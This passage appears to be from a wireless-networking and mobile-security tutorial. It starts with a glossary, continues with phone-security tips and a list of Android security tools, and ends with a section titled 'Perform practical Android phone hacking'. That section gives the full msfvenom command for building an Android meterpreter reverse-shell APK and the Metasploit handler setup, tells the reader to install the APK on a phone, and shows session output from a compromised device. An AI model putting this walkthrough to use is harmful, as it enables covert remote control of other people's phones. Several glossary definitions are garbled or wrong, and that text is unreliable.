The setting of circuit switching in open circuit between users is only possible with Circuit switching. Therefore a user can use full circuit awaiting the connection is unconfined.

**Interoperability**

Through interoperability all type of software and equipments can be operate properly even in the mixed area of hardware and software. It is possible by IEEE 802.11.

**GSM**

GSM is the universal system used for mobile transportation for wireless network worldwide .This standard mobile phone industry in Europe.

**ISDN**

ISDN is an integrated services digital network. ISDN is used to emerge network expertise provided by local phone companies, voice processing system.

**ISM Band**

ISM Band used in medical, science, and instruments with different radio frequencies.

**Packet Switching**

Packet Switching is a technique used to sends data in packets through a wireless network from remote sites. There is no circuit absent release on an enthusiastic basis.

**Pocket PC**

Pocket PC is a useful term by Microsoft and used to support handheld computers.

There are many other WiFi terminologies such as chipset that switch background task. Fire-wire used as small DVD camera and external storage device for data transfer etc.

- **Types of Wireless Antenna**

Types of Antennas:

1. Omni Directional Antenna
2. Semi Directional Antenna
3. Highly Directional Antenna

- **How to secure your mobile phone**

1. Use strong passwords/biometrics

2. Ensure public or free wifi is protected

3. Utilize a VPN

4. Encrypt your device

5. Install an Antivirus application

6. Update to the latest software

7. Be discerning

8. Keep backups

- **List of Android Phones Security Tools**

1. ImmuniWeb® MobileSuite
2. Zed Attack Proxy
3. QARK
4. Micro Focus
5. Android Debug Bridge
6. CodifiedSecurity
7. Drozer
8. WhiteHat Security
9. Synopsys
10. Veracode
11. Mobile Security Framework (MobSF)

- **Perform practical Android phone hacking**

Terminal: **msfvenom –p android/meterpreter/reverse_tcp LHOST=Localhost IP  LPORT=LocalPort R > android_shell.apk**

```
┌──(root㉿kali)-[~]
└─# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 R > filename.apk

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10231 bytes
```

now you can locate your file on the desktop with the name filename.apk.

```
┌──(root㉿kali)-[~]
└─# ls
android_shell.apk  filename.apk
```

Terminal: msfconsole -q

Terminal: use exploit/multi/handler

```
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
```

set pa

Next, set the options for payload, listener IP (LHOST) and listener PORT(LPORT). We have used localhost IP, port number 4444 and payload android/meterpreter/reverse_tcp while creating an .apk file with MSFvenom.

Terminal: run

```
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload ⇒ android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.9
LHOST ⇒ 192.168.1.9
msf6 exploit(multi/handler) > set LPORT 4444
LPORT ⇒ 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.9:4444
```

Download the singed_jar.apk file and install it with “unknown resources allowed” on the Android device.

## Move back to Kali Linux

We already started the multi/handler exploit to listen on port 4444 and local IP address. Open up the multi/handler terminal.

```
meterpreter > sysinfo
Computer    : localhost
OS          : Android 8.1.0 - Linux 3.18.14-14721103 (armv8l)
Meterpreter : dalvik/android
meterpreter >
```